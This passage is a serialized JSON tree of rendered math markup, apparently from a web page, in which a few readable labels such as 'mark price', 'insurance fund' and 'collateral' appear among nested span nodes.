children":159892},{"className":159891,"style":3030},[3029],[],{"type":23,"tag":504,"props":159894,"children":159896},{"className":159895},[3035,3036,3037,3038],[159897],{"type":23,"tag":504,"props":159898,"children":159900},{"className":159899},[2988,20569,3038],[159901],{"type":28,"value":2716},{"type":23,"tag":504,"props":159903,"children":159905},{"className":159904},[20726],[159906],{"type":28,"value":20729},{"type":23,"tag":504,"props":159908,"children":159910},{"className":159909},[3015],[159911],{"type":23,"tag":504,"props":159912,"children":159914},{"className":159913,"style":91881},[3020],[159915],{"type":23,"tag":504,"props":159916,"children":159917},{},[],{"type":23,"tag":504,"props":159919,"children":159921},{"style":159920},"top:-7.3188em;",[159922,159926],{"type":23,"tag":504,"props":159923,"children":159925},{"className":159924,"style":159698},[3029],[],{"type":23,"tag":504,"props":159927,"children":159929},{"className":159928},[2988],[159930],{"type":23,"tag":504,"props":159931,"children":159933},{"className":159932},[2988],[159934,159939],{"type":23,"tag":504,"props":159935,"children":159937},{"className":159936},[2988,20569],[159938],{"type":28,"value":1231},{"type":23,"tag":504,"props":159940,"children":159942},{"className":159941},[3005],[159943],{"type":23,"tag":504,"props":159944,"children":159946},{"className":159945},[3010,20623],[159947,159976],{"type":23,"tag":504,"props":159948,"children":159950},{"className":159949},[3015],[159951,159971],{"type":23,"tag":504,"props":159952,"children":159954},{"className":159953,"style":92327},[3020],[159955],{"type":23,"tag":504,"props":159956,"children":159957},{"style":91854},[159958,159962],{"type":23,"tag":504,"props":159959,"children":159961},{"className":159960,"style":3030},[3029],[],{"type":23,"tag":504,"props":159963,"children":159965},{"className":159964},[3035,3036,3037,3038],[159966],{"type":23,"tag":504,"props":159967,"children":159969},{"className":159968},[2988,20569,3038],[159970],{"type":28,"value":2716},{"type":23,"tag":504,"props":159972,"children":159974},{"className":159973},[20726],[159975],{"type":28,"value":20729},{"type":23,"tag":504,"props":159977,"children":159979},{"className":159978},[3015],[159980],{"type":23,"tag":504,"props":159981,"children":159983},{"className":159982,"style":91881},[3020],[159984],{"type":23,"tag":504,"props":159985,"children":159986},{},[],{"type":23,"tag":504,"props":159988,"children":159990},{"style":159989},"top:-5.8188em;",[159991,159995],{"type":23,"tag":504,"props":159992,"children":159994},{"className":159993,"style":159698},[3029],[],{"type":23,"tag":504,"props":159996,"children":159998},{"className":159997},[2988],[159999],{"type":23,"tag":504,"props":160000,"children":160002},{"className":160001},[2988],[160003,160008],{"type":23,"tag":504,"props":160004,"children":160006},{"className":160005,"style":121078},[2988,20569],[160007],{"type":28,"value":48551},{"type":23,"tag":504,"props":160009,"children":160011},{"className":160010},[3005],[160012],{"type":23,"tag":504,"props":160013,"children":160015},{"className":160014},[3010,20623],[160016,160046],{"type":23,"tag":504,"props":160017,"children":160019},{"className":160018},[3015],[160020,160041],{"type":23,"tag":504,"props":160021,"children":160023},{"className":160022,"style":92327},[3020],[160024],{"type":23,"tag":504,"props":160025,"children":160027},{"style":160026},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[160028,160032],{"type":23,"tag":504,"props":160029,"children":160031},{"className":160030,"style":3030},[3029],[],{"type":23,"tag":504,"props":160033,"children":160035},{"className":160034},[3035,3036,3037,3038],[160036],{"type":23,"tag":504,"props":160037,"children":160039},{"className":160038},[2988,20569,3038],[160040],{"type":28,"value":2716},{"type":23,"tag":504,"props":160042,"children":160044},{"className":160043},[20726],[160045],{"type":28,"value":20729},{"type":23,"tag":504,"props":160047,"children":160049},{"className":160048},[3015],[160050],{"type":23,"tag":504,"props":160051,"children":160053},{"className":160052,"style":91881},[3020],[160054],{"type":23,"tag":504,"props":160055,"children":160056},{},[],{"type":23,"tag":504,"props":160058,"children":160060},{"style":160059},"top:-4.3188em;",[160061,160065],{"type":23,"tag":504,"props":160062,"children":160064},{"className":160063,"style":159698},[3029],[],{"type":23,"tag":504,"props":160066,"children":160068},{"className":160067},[2988],[160069],{"type":23,"tag":504,"props":160070,"children":160072},{"className":160071},[2988],[160073,160078],{"type":23,"tag":504,"props":160074,"children":160076},{"className":160075},[2988,20569],[160077],{"type":28,"value":18257},{"type":23,"tag":504,"props":160079,"children":160081},{"className":160080},[3005],[160082],{"type":23,"tag":504,"props":160083,"children":160085},{"className":160084},[3010,20623],[160086,160115],{"type":23,"tag":504,"props":160087,"children":160089},{"className":160088},[3015],[160090,160110],{"type":23,"tag":504,"props":160091,"children":160093},{"className":160092,"style":92327},[3020],[160094],{"type":23,"tag":504,"props":160095,"children":160096},{"style":91854},[160097,160101],{"type":23,"tag":504,"props":160098,"children":160100},{"className":160099,"style":3030},[3029],[],{"type":23,"tag":504,"props":160102,"children":160104},{"className":160103},[3035,3036,3037,3038],[160105],{"type":23,"tag":504,"props":160106,"children":160108},{"className":160107},[2988,20569,3038],[160109],{"type":28,"value":2716},{"type":23,"tag":504,"props":160111,"children":160113},{"className":160112},[20726],[160114],{"type":28,"value":20729},{"type":23,"tag":504,"props":160116,"children":160118},{"className":160117},[3015],[160119],{"type":23,"tag":504,"props":160120,"children":160122},{"className":160121,"style":91881},[3020],[160123],{"type":23,"tag":504,"props":160124,"children":160125},{},[],{"type":23,"tag":504,"props":160127,"children":160129},{"style":160128},"top:-2.5512em;",[160130,160134],{"type":23,"tag":504,"props":160131,"children":160133},{"className":160132,"style":159698},[3029],[],{"type":23,"tag":504,"props":160135,"children":160137},{"className":160136},[2988],[160138],{"type":23,"tag":504,"props":160139,"children":160141},{"className":160140},[2988],[160142,160147],{"type":23,"tag":504,"props":160143,"children":160145},{"className":160144},[2988,20569],[160146],{"type":28,"value":83096},{"type":23,"tag":504,"props":160148,"children":160150},{"className":160149},[3005],[160151],{"type":23,"tag":504,"props":160152,"children":160154},{"className":160153},[3010,20623],[160155,160184],{"type":23,"tag":504,"props":160156,"children":160158},{"className":160157},[3015],[160159,160179],{"type":23,"tag":504,"props":160160,"children":160162},{"className":160161,"style":92327},[3020],[160163],{"type":23,"tag":504,"props":160164,"children":160165},{"style":91854},[160166,160170],{"type":23,"tag":504,"props":160167,"children":160169},{"className":160168,"style":3030},[3029],[],{"type":23,"tag":504,"props":160171,"children":160173},{"className":160172},[3035,3036,3037,3038],[160174],{"type":23,"tag":504,"props":160175,"children":160177},{"className":160176},[2988,20569,3038],[160178],{"type":28,"value":2716},{"type":23,"tag":504,"props":160180,"children":160182},{"className":160181},[20726],[160183],{"type":28,"value":20729},{"type":23,"tag":504,"props":160185,"children":160187},{"className":160186},[3015],[160188],{"type":23,"tag":504,"props":160189,"children":160191},{"className":160190,"style":91881},[3020],[160192],{"type":23,"tag":504,"props":160193,"children":160194},{},[],{"type":23,"tag":504,"props":160196,"children":160198},{"style":160197},"top:-0.3652em;",[160199,160203],{"type":23,"tag":504,"props":160200,"children":160202},{"className":160201,"style":159698},[3029],[],{"type":23,"tag":504,"props":160204,"children":160206},{"className":160205},[2988],[160207],{"type":23,"tag":504,"props":160208,"children":160210},{"className":160209},[2988],[160211,160216],{"type":23,"tag":504,"props":160212,"children":160214},{"className":160213,"style":92032},[2988,20569],[160215],{"type":28,"value":92035},{"type":23,"tag":504,"props":160217,"children":160219},{"className":160218},[3005],[160220],{"type":23,"tag":504,"props":160221,"children":160223},{"className":160222},[3010,20623],[160224,160253],{"type":23,"tag":504,"props":160225,"children":160227},{"className":160226},[3015],[160228,160248],{"type":23,"tag":504,"props":160229,"children":160231},{"className":160230,"style":141353},[3020],[160232],{"type":23,"tag":504,"props":160233,"children":160234},{"style":109227},[160235,160239],{"type":23,"tag":504,"props":160236,"children":160238},{"className":160237,"style":3030},[3029],[],{"type":23,"tag":504,"props":160240,"children":160242},{"className":160241},[3035,3036,3037,3038],[160243],{"type":23,"tag":504,"props":160244,"children":160246},{"className":160245,"style":20570},[2988,20569,3038],[160247],{"type":28,"value":4971},{"type":23,"tag":504,"props":160249,"children":160251},{"className":160250},[20726],[160252],{"type":28,"value":20729},{"type":23,"tag":504,"props":160254,"children":160256},{"className":160255},[3015],[160257],{"type":23,"tag":504,"props":160258,"children":160260},{"className":160259,"style":91881},[3020],[160261],{"type":23,"tag":504,"props":160262,"children":160263},{},[],{"type":23,"tag":504,"props":160265,"children":160267},{"style":160266},"top:2.2624em;",[160268,160272],{"type":23,"tag":504,"props":160269,"children":160271},{"className":160270,"style":159698},[3029],[],{"type":23,"tag":504,"props":160273,"children":160275},{"className":160274},[2988],[160276],{"type":23,"tag":504,"props":160277,"children":160279},{"className":160278},[2988],[160280,160286],{"type":23,"tag":504,"props":160281,"children":160283},{"className":160282,"style":91798},[2988,20569],[160284],{"type":28,"value":160285},"D",{"type":23,"tag":504,"props":160287,"children":160289},{"className":160288},[3005],[160290],{"type":23,"tag":504,"props":160291,"children":160293},{"className":160292},[3010,20623],[160294,160323],{"type":23,"tag":504,"props":160295,"children":160297},{"className":160296},[3015],[160298,160318],{"type":23,"tag":504,"props":160299,"children":160301},{"className":160300,"style":141353},[3020],[160302],{"type":23,"tag":504,"props":160303,"children":160304},{"style":108797},[160305,160309],{"type":23,"tag":504,"props":160306,"children":160308},{"className":160307,"style":3030},[3029],[],{"type":23,"tag":504,"props":160310,"children":160312},{"className":160311},[3035,3036,3037,3038],[160313],{"type":23,"tag":504,"props":160314,"children":160316},{"className":160315,"style":20570},[2988,20569,3038],[160317],{"type":28,"value":4971},{"type":23,"tag":504,"props":160319,"children":160321},{"className":160320},[20726],[160322],{"type":28,"value":20729},{"type":23,"tag":504,"props":160324,"children":160326},{"className":160325},[3015],[160327],{"type":23,"tag":504,"props":160328,"children":160330},{"className":160329,"style":91881},[3020],[160331],{"type":23,"tag":504,"props":160332,"children":160333},{},[],{"type":23,"tag":504,"props":160335,"children":160337},{"style":160336},"top:4.8901em;",[160338,160342],{"type":23,"tag":504,"props":160339,"children":160341},{"className":160340,"style":159698},[3029],[],{"type":23,"tag":504,"props":160343,"children":160345},{"className":160344},[2988],[160346],{"type":23,"tag":504,"props":160347,"children":160349},{"className":160348},[2988],[160350,160356],{"type":23,"tag":504,"props":160351,"children":160353},{"className":160352,"style":93806},[2988,20569],[160354],{"type":28,"value":160355},"U",{"type":23,"tag":504,"props":160357,"children":160359},{"className":160358},[3005],[160360],{"type":23,"tag":504,"props":160361,"children":160363},{"className":160362},[3010,20623],[160364,160394],{"type":23,"tag":504,"props":160365,"children":160367},{"className":160366},[3015],[160368,160389],{"type":23,"tag":504,"props":160369,"children":160371},{"className":160370,"style":141353},[3020],[160372],{"type":23,"tag":504,"props":160373,"children":160375},{"style":160374},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[160376,160380],{"type":23,"tag":504,"props":160377,"children":160379},{"className":160378,"style":3030},[3029],[],{"type":23,"tag":504,"props":160381,"children":160383},{"className":160382},[3035,3036,3037,3038],[160384],{"type":23,"tag":504,"props":160385,"children":160387},{"className":160386,"style":20570},[2988,20569,3038],[160388],{"type":28,"value":4971},{"type":23,"tag":504,"props":160390,"children":160392},{"className":160391},[20726],[160393],{"type":28,"value":20729},{"type":23,"tag":504,"props":160395,"children":160397},{"className":160396},[3015],[160398],{"type":23,"tag":504,"props":160399,"children":160401},{"className":160400,"style":91881},[3020],[160402],{"type":23,"tag":504,"props":160403,"children":160404},{},[],{"type":23,"tag":504,"props":160406,"children":160408},{"style":160407},"top:7.3078em;",[160409,160413],{"type":23,"tag":504,"props":160410,"children":160412},{"className":160411,"style":159698},[3029],[],{"type":23,"tag":504,"props":160414,"children":160416},{"className":160415},[2988],[160417],{"type":23,"tag":504,"props":160418,"children":160420},{"className":160419},[2988],[160421,160426],{"type":23,"tag":504,"props":160422,"children":160424},{"className":160423,"style":121575},[2988,20569],[160425],{"type":28,"value":121578},{"type":23,"tag":504,"props":160427,"children":160429},{"className":160428},[3005],[160430],{"type":23,"tag":504,"props":160431,"children":160433},{"className":160432},[3010,20623],[160434,160465],{"type":23,"tag":504,"props":160435,"children":160437},{"className":160436},[3015],[160438,160460],{"type":23,"tag":504,"props":160439,"children":160442},{"className":160440,"style":160441},[3020],"height:0.2806em;",[160443],{"type":23,"tag":504,"props":160444,"children":160446},{"style":160445},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[160447,160451],{"type":23,"tag":504,"props":160448,"children":160450},{"className":160449,"style":3030},[3029],[],{"type":23,"tag":504,"props":160452,"children":160454},{"className":160453},[3035,3036,3037,3038],[160455],{"type":23,"tag":504,"props":160456,"children":160458},{"className":160457},[2988,20569,3038],[160459],{"type":28,"value":20711},{"type":23,"tag":504,"props":160461,"children":160463},{"className":160462},[20726],[160464],{"type":28,"value":20729},{"type":23,"tag":504,"props":160466,"children":160468},{"className":160467},[3015],[160469],{"type":23,"tag":504,"props":160470,"children":160472},{"className":160471,"style":91881},[3020],[160473],{"type":23,"tag":504,"props":160474,"children":160475},{},[],{"type":23,"tag":504,"props":160477,"children":160479},{"className":160478},[20726],[160480],{"type":28,"value":20729},{"type":23,"tag":504,"props":160482,"children":160484},{"className":160483},[3015],[160485],{"type":23,"tag":504,"props":160486,"children":160489},{"className":160487,"style":160488},[3020],"height:11.3392em;",[160490],{"type":23,"tag":504,"props":160491,"children":160492},{},[],{"type":23,"tag":504,"props":160494,"children":160496},{"className":160495},[158612],[160497],{"type":23,"tag":504,"props":160498,"children":160500},{"className":160499},[3010,20623],[160501,162203],{"type":23,"tag":504,"props":160502,"children":160504},{"className":160503},[3015],[160505,162198],{"type":23,"tag":504,"props":160506,"children":160508},{"className":160507,"style":159689},[3020],[160509,160547,160585,160732,160967,161122,161227,161270,161491,161650,161840,161992],{"type":23,"tag":504,"props":160510,"children":160511},{"style":159693},[160512,160516],{"type":23,"tag":504,"props":160513,"children":160515},{"className":160514,"style":159698},[3029],[],{"type":23,"tag":504,"props":160517,"children":160519},{"className":160518},[2988],[160520,160524,160528,160533,160537],{"type":23,"tag":504,"props":160521,"children":160523},{"className":160522},[2988],[],{"type":23,"tag":504,"props":160525,"children":160527},{"className":160526,"style":3167},[3069],[],{"type":23,"tag":504,"props":160529,"children":160531},{"className":160530},[3172],[160532],{"type":28,"value":20588},{"type":23,"tag":504,"props":160534,"children":160536},{"className":160535,"style":3167},[3069],[],{"type":23,"tag":504,"props":160538,"children":160540},{"className":160539},[2988,28],[160541],{"type":23,"tag":504,"props":160542,"children":160544},{"className":160543},[2988],[160545],{"type":28,"value":160546},"mark price",{"type":23,"tag":504,"props":160548,"children":160549},{"style":159764},[160550,160554],{"type":23,"tag":504,"props":160551,"children":160553},{"className":160552,"style":159698},[3029],[],{"type":23,"tag":504,"props":160555,"children":160557},{"className":160556},[2988],[160558,160562,160566,160571,160575],{"type":23,"tag":504,"props":160559,"children":160561},{"className":160560},[2988],[],{"type":23,"tag":504,"props":160563,"children":160565},{"className":160564,"style":3167},[3069],[],{"type":23,"tag":504,"props":160567,"children":160569},{"className":160568},[3172],[160570],{"type":28,"value":20588},{"type":23,"tag":504,"props":160572,"children":160574},{"className":160573,"style":3167},[3069],[],{"type":23,"tag":504,"props":160576,"children":160578},{"className":160577},[2988,28],[160579],{"type":23,"tag":504,"props":160580,"children":160582},{"className":160581},[2988],[160583],{"type":28,"value":160584},"insurance fund",{"type":23,"tag":504,"props":160586,"children":160587},{"style":159781},[160588,160592],{"type":23,"tag":504,"props":160589,"children":160591},{"className":160590,"style":159698},[3029],[],{"type":23,"tag":504,"props":160593,"children":160595},{"className":160594},[2988],[160596,160600,160604,160609,160613,160623,160627,160632,160636],{"type":23,"tag":504,"props":160597,"children":160599},{"className":160598},[2988],[],{"type":23,"tag":504,"props":160601,"children":160603},{"className":160602,"style":3167},[3069],[],{"type":23,"tag":504,"props":160605,"children":160607},{"className":160606},[3172],[160608],{"type":28,"value":20588},{"type":23,"tag":504,"props":160610,"children":160612},{"className":160611,"style":3167},[3069],[],{"type":23,"tag":504,"props":160614,"children":160616},{"className":160615},[2988,28],[160617],{"type":23,"tag":504,"props":160618,"children":160620},{"className":160619},[2988],[160621],{"type":28,"value":160622},"collateral",{"type":23,"tag":504,"props":160624,"children":160626},{"className":160625,"style":3167},[3069],[],{"type":23,"tag":504,"props":160628,"children":160630},{"className":160629},[3172],[160631],{"type":28,"value":601},{"type":23,"tag":504,"props":160633,"children":160635},{"className":160634,"style":3167},[3069],[],{"type":23,"tag":504,"props":160637,"children":160639},{"className":160638},[2988],[160640,160644,160728],{"type":23,"tag":504,"props":160641,"children":160643},{"className":160642},[20698,112316],[],{"type":23,"tag":504,"props":160645,"children":160647},{"className":160646},[112321],[160648],{"type":23,"tag":504,"props":160649,"children":160651},{"className":160650},[3010,20623],[160652,160717],{"type":23,"tag":504,"props":160653,"children":160655},{"className":160654},[3015],[160656,160712],{"type":23,"tag":504,"props":160657,"children":160660},{"className":160658,"style":160659},[3020],"height:1.3714em;",[160661,160681,160692],{"type":23,"tag":504,"props":160662,"children":160663},{"style":157907},[160664,160668],{"type":23,"tag":504,"props":160665,"children":160667},{"className":160666,"style":110969},[3029],[],{"type":23,"tag":504,"props":160669,"children":160671},{"className":160670},[2988],[160672],{"type":23,"tag":504,"props":160673,"children":160675},{"className":160674},[2988,28],[160676],{"type":23,"tag":504,"props":160677,"children":160679},{"className":160678},[2988],[160680],{"type":28,"value":157944},{"type":23,"tag":504,"props":160682,"children":160683},{"style":112371},[160684,160688],{"type":23,"tag":504,"props":160685,"children":160687},{"className":160686,"style":110969},[3029],[],{"type":23,"tag":504,"props":160689,"children":160691},{"className":160690,"style":112381},[112380],[],{"type":23,"tag":504,"props":160693,"children":160694},{"style":157958},[160695,160699],{"type":23,"tag":504,"props":160696,"children":160698},{"className":160697,"style":110969},[3029],[],{"type":23,"tag":504,"props":160700,"children":160702},{"className":160701},[2988],[160703],{"type":23,"tag":504,"props":160704,"children":160706},{"className":160705},[2988,28],[160707],{"type":23,"tag":504,"props":160708,"children":160710},{"className":160709},[2988],[160711],{"type":28,"value":157983},{"type":23,"tag":504,"props":160713,"children":160715},{"className":160714},[20726],[160716],{"type":28,"value":20729},{"type":23,"tag":504,"props":160718,"children":160720},{"className":160719},[3015],[160721],{"type":23,"tag":504,"props":160722,"children":160724},{"className":160723,"style":158001},[3020],[160725],{"type":23,"tag":504,"props":160726,"children":160727},{},[],{"type":23,"tag":504,"props":160729,"children":160731},{"className":160730},[20720,112316],[],{"type":23,"tag":504,"props":160733,"children":160734},{"style":159850},[160735,160739],{"type":23,"tag":504,"props":160736,"children":160738},{"className":160737,"style":159698},[3029],[],{"type":23,"tag":504,"props":160740,"children":160742},{"className":160741},[2988],[160743,160747,160751,160756,160760,160817,160821,160826,160830,160835,160892,160896,160901,160905,160962],{"type":23,"tag":504,"props":160744,"children":160746},{"className":160745},[2988],[],{"type":23,"tag":504,"props":160748,"children":160750},{"className":160749,"style":3167},[3069],[],{"type":23,"tag":504,"props":160752,"children":160754},{"className":160753},[3172],[160755],{"type":28,"value":601},{"type":23,"tag":504,"props":160757,"children":160759},{"className":160758,"style":3167},[3069],[],{"type":23,"tag":504,"props":160761,"children":160763},{"className":160762},[2988],[160764,160769],{"type":23,"tag":504,"props":160765,"children":160767},{"className":160766},[2988,20569],[160768],{"type":28,"value":9633},{"type":23,"tag":504,"props":160770,"children":160772},{"className":160771},[3005],[160773],{"type":23,"tag":504,"props":160774,"children":160776},{"className":160775},[3010,20623],[160777,160806],{"type":23,"tag":504,"props":160778,"children":160780},{"className":160779},[3015],[160781,160801],{"type":23,"tag":504,"props":160782,"children":160784},{"className":160783,"style":92327},[3020],[160785],{"type":23,"tag":504,"props":160786,"children":160787},{"style":91854},[160788,160792],{"type":23,"tag":504,"props":160789,"children":160791},{"className":160790,"style":3030},[3029],[],{"type":23,"tag":504,"props":160793,"children":160795},{"className":160794},[3035,3036,3037,3038],[160796],{"type":23,"tag":504,"props":160797,"children":160799},{"className":160798},[2988,20569,3038],[160800],{"type":28,"value":2716},{"type":23,"tag":504,"props":160802,"children":160804},{"className":160803},[20726],[160805],{"type":28,"value":20729},{"type":23,"tag":504,"props":160807,"children":160809},{"className":160808},[3015],[160810],{"type":23,"tag":504,"props":160811,"children":160813},{"className":160812,"style":91881},[3020],[160814],{"type":23,"tag":504,"props":160815,"children":160816},{},[],{"type":23,"tag":504,"props":160818,"children":160820},{"className":160819,"style":3070},[3069],[],{"type":23,"tag":504,"props":160822,"children":160824},{"className":160823},[3075],[160825],{"type":28,"value":110060},{"type":23,"tag":504,"props":160827,"children":160829},{"className":160828,"style":3070},[3069],[],{"type":23,"tag":504,"props":160831,"children":160833},{"className":160832},[20698],[160834],{"type":28,"value":526},{"type":23,"tag":504,"props":160836,"children":160838},{"className":160837},[2988],[160839,160844],{"type":23,"tag":504,"props":160840,"children":160842},{"className":160841,"style":20570},[2988,20569],[160843],{"type":28,"value":20573},{"type":23,"tag":504,"props":160845,"children":160847},{"className":160846},[3005],[160848],{"type":23,"tag":504,"props":160849,"children":160851},{"className":160850},[3010,20623],[160852,160881],{"type":23,"tag":504,"props":160853,"children":160855},{"className":160854},[3015],[160856,160876],{"type":23,"tag":504,"props":160857,"children":160859},{"className":160858,"style":108230},[3020],[160860],{"type":23,"tag":504,"props":160861,"children":160862},{"style":159731},[160863,160867],{"type":23,"tag":504,"props":160864,"children":160866},{"className":160865,"style":3030},[3029],[],{"type":23,"tag":504,"props":160868,"children":160870},{"className":160869},[3035,3036,3037,3038],[160871],{"type":23,"tag":504,"props":160872,"children":160874},{"className":160873},[2988,20569,3038],[160875],{"type":28,"value":55382},{"type":23,"tag":504,"props":160877,"children":160879},{"className":160878},[20726],[160880],{"type":28,"value":20729},{"type":23,"tag":504,"props":160882,"children":160884},{"className":160883},[3015],[160885],{"type":23,"tag":504,"props":160886,"children":160888},{"className":160887,"style":91881},[3020],[160889],{"type":23,"tag":504,"props":160890,"children":160891},{},[],{"type":23,"tag":504,"props":160893,"children":160895},{"className":160894,"style":3070},[3069],[],{"type":23,"tag":504,"props":160897,"children":160899},{"className":160898},[3075],[160900],{"type":28,"value":3049},{"type":23,"tag":504,"props":160902,"children":160904},{"className":160903,"style":3070},[3069],[],{"type":23,"tag":504,"props":160906,"children":160908},{"className":160907},[2988],[160909,160914],{"type":23,"tag":504,"props":160910,"children":160912},{"className":160911},[2988,20569],[160913],{"type":28,"value":24},{"type":23,"tag":504,"props":160915,"children":160917},{"className":160916},[3005],[160918],{"type":23,"tag":504,"props":160919,"children":160921},{"className":160920},[3010,20623],[160922,160951],{"type":23,"tag":504,"props":160923,"children":160925},{"className":160924},[3015],[160926,160946],{"type":23,"tag":504,"props":160927,"children":160929},{"className":160928,"style":92327},[3020],[160930],{"type":23,"tag":504,"props":160931,"children":160932},{"style":91854},[160933,160937],{"type":23,"tag":504,"props":160934,"children":160936},{"className":160935,"style":3030},[3029],[],{"type":23,"tag":504,"props":160938,"children":160940},{"className":160939},[3035,3036,3037,3038],[160941],{"type":23,"tag":504,"props":160942,"children":160944},{"className":160943},[2988,20569,3038],[160945],{"type":28,"value":2716},{"type":23,"tag":504,"props":160947,"children":160949},{"className":160948},[20726],[160950],{"type":28,"value":20729},{"type":23,"tag":504,"props":160952,"children":160954},{"className":160953},[3015],[160955],{"type":23,"tag":504,"props":160956,"children":160958},{"className":160957,"style":91881},[3020],[160959],{"type":23,"tag":504,"props":160960,"children":160961},{},[],{"type":23,"tag":504,"props":160963,"children":160965},{"className":160964},[20720],[160966],{"type":28,"value":2105},{"type":23,"tag":504,"props":160968,"children":160969},{"style":159920},[160970,160974],{"type":23,"tag":504,"props":160971,"children":160973},{"className":160972,"style":159698},[3029],[],{"type":23,"tag":504,"props":160975,"children":160977},{"className":160976},[2988],[160978,160982,160986,160991,160995,161052,161056,161061,161065],{"type":23,"tag":504,"props":160979,"children":160981},{"className":160980},[2988],[],{"type":23,"tag":504,"props":160983,"children":160985},{"className":160984,"style":3167},[3069],[],{"type":23,"tag":504,"props":160987,"children":160989},{"className":160988},[3172],[160990],{"type":28,"value":601},{"type":23,"tag":504,"props":160992,"children":160994},{"className":160993,"style":3167},[3069],[],{"type":23,"tag":504,"props":160996,"children":160998},{"className":160997},[2988],[160999,161004],{"type":23,"tag":504,"props":161000,"children":161002},{"className":161001},[2988,20569],[161003],{"type":28,"value":2124},{"type":23,"tag":504,"props":161005,"children":161007},{"className":161006},[3005],[161008],{"type":23,"tag":504,"props":161009,"children":161011},{"className":161010},[3010,20623],[161012,161041],{"type":23,"tag":504,"props":161013,"children":161015},{"className":161014},[3015],[161016,161036],{"type":23,"tag":504,"props":161017,"children":161019},{"className":161018,"style":92327},[3020],[161020],{"type":23,"tag":504,"props":161021,"children":161022},{"style":91854},[161023,161027],{"type":23,"tag":504,"props":161024,"children":161026},{"className":161025,"style":3030},[3029],[],{"type":23,"tag":504,"props":161028,"children":161030},{"className":161029},[3035,3036,3037,3038],[161031],{"type":23,"tag":504,"props":161032,"children":161034},{"className":161033},[2988,20569,3038],[161035],{"type":28,"value":2716},{"type":23,"tag":504,"props":161037,"children":161039},{"className":161038},[20726],[161040],{"type":28,"value":20729},{"type":23,"tag":504,"props":161042,"children":161044},{"className":161043},[3015],[161045],{"type":23,"tag":504,"props":161046,"children":161048},{"className":161047,"style":91881},[3020],[161049],{"type":23,"tag":504,"props":161050,"children":161051},{},[],{"type":23,"tag":504,"props":161053,"children":161055},{"className":161054,"style":3070},[3069],[],{"type":23,"tag":504,"props":161057,"children":161059},{"className":161058},[3075],[161060],{"type":28,"value":1642},{"type":23,"tag":504,"props":161062,"children":161064},{"className":161063,"style":3070},[3069],[],{"type":23,"tag":504,"props":161066,"children":161068},{"className":161067},[2988],[161069,161074],{"type":23,"tag":504,"props":161070,"children":161072},{"className":161071,"style":92284},[2988,20569],[161073],{"type":28,"value":159869},{"type":23,"tag":504,"props":161075,"children":161077},{"className":161076},[3005],[161078],{"type":23,"tag":504,"props":161079,"children":161081},{"className":161080},[3010,20623],[161082,161111],{"type":23,"tag":504,"props":161083,"children":161085},{"className":161084},[3015],[161086,161106],{"type":23,"tag":504,"props":161087,"children":161089},{"className":161088,"style":92327},[3020],[161090],{"type":23,"tag":504,"props":161091,"children":161092},{"style":92331},[161093,161097],{"type":23,"tag":504,"props":161094,"children":161096},{"className":161095,"style":3030},[3029],[],{"type":23,"tag":504,"props":161098,"children":161100},{"className":161099},[3035,3036,3037,3038],[161101],{"type":23,"tag":504,"props":161102,"children":161104},{"className":161103},[2988,20569,3038],[161105],{"type":28,"value":2716},{"type":23,"tag":504,"props":161107,"children":161109},{"className":161108},[20726],[161110],{"type":28,"value":20729},{"type":23,"tag":504,"props":161112,"children":161114},{"className":161113},[3015],[161115],{"type":23,"tag":504,"props":161116,"children":161118},{"className":161117,"style":91881},[3020],[161119],{"type":23,"tag":504,"props":161120,"children":161121},{},[],{"type":23,"tag":504,"props":161123,"children":161124},{"style":159989},[161125,161129],{"type":23,"tag":504,"props":161126,"children":161128},{"className":161127,"style":159698},[3029],[],{"type":23,"tag":504,"props":161130,"children":161132},{"className":161131},[2988],[161133,161137,161141,161146,161150],{"type":23,"tag":504,"props":161134,"children":161136},{"className":161135},[2988],[],{"type":23,"tag":504,"props":161138,"children":161140},{"className":161139,"style":3167},[3069],[],{"type":23,"tag":504,"props":161142,"children":161144},{"className":161143},[3172],[161145],{"type":28,"value":601},{"type":23,"tag":504,"props":161147,"children":161149},{"className":161148,"style":3167},[3069],[],{"type":23,"tag":504,"props":161151,"children":161153},{"className":161152},[2988],[161154,161159],{"type":23,"tag":504,"props":161155,"children":161157},{"className":161156,"style":92284},[2988,20569],[161158],{"type":28,"value":159869},{"type":23,"tag":504,"props":161160,"children":161162},{"className":161161},[3005],[161163],{"type":23,"tag":504,"props":161164,"children":161166},{"className":161165},[3010,20623],[161167,161215],{"type":23,"tag":504,"props":161168,"children":161170},{"className":161169},[3015],[161171,161210],{"type":23,"tag":504,"props":161172,"children":161175},{"className":161173,"style":161174},[3020],"height:0.8213em;",[161176,161193],{"type":23,"tag":504,"props":161177,"children":161179},{"style":161178},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[161180,161184],{"type":23,"tag":504,"props":161181,"children":161183},{"className":161182,"style":3030},[3029],[],{"type":23,"tag":504,"props":161185,"children":161187},{"className":161186},[3035,3036,3037,3038],[161188],{"type":23,"tag":504,"props":161189,"children":161191},{"className":161190},[2988,20569,3038],[161192],{"type":28,"value":2716},{"type":23,"tag":504,"props":161194,"children":161196},{"style":161195},"top:-3.113em;margin-right:0.05em;",[161197,161201],{"type":23,"tag":504,"props":161198,"children":161200},{"className":161199,"style":3030},[3029],[],{"type":23,"tag":504,"props":161202,"children":161204},{"className":161203},[3035,3036,3037,3038],[161205],{"type":23,"tag":504,"props":161206,"children":161208},{"className":161207},[3075,3038],[161209],{"type":28,"value":1642},{"type":23,"tag":504,"props":161211,"children":161213},{"className":161212},[20726],[161214],{"type":28,"value":20729},{"type":23,"tag":504,"props":161216,"children":161218},{"className":161217},[3015],[161219],{"type":23,"tag":504,"props":161220,"children":161223},{"className":161221,"style":161222},[3020],"height:0.267em;",[161224],{"type":23,"tag":504,"props":161225,"children":161226},{},[],{"type":23,"tag":504,"props":161228,"children":161229},{"style":160059},[161230,161234],{"type":23,"tag":504,"props":161231,"children":161233},{"className":161232,"style":159698},[3029],[],{"type":23,"tag":504,"props":161235,"children":161237},{"className":161236},[2988],[161238,161242,161246,161251,161255,161265],{"type":23,"tag":504,"props":161239,"children":161241},{"className":161240},[2988],[],{"type":23,"tag":504,"props":161243,"children":161245},{"className":161244,"style":3167},[3069],[],{"type":23,"tag":504,"props":161247,"children":161249},{"className":161248},[3172],[161250],{"type":28,"value":20588},{"type":23,"tag":504,"props":161252,"children":161254},{"className":161253,"style":3167},[3069],[],{"type":23,"tag":504,"props":161256,"children":161258},{"className":161257},[2988,28],[161259],{"type":23,"tag":504,"props":161260,"children":161262},{"cla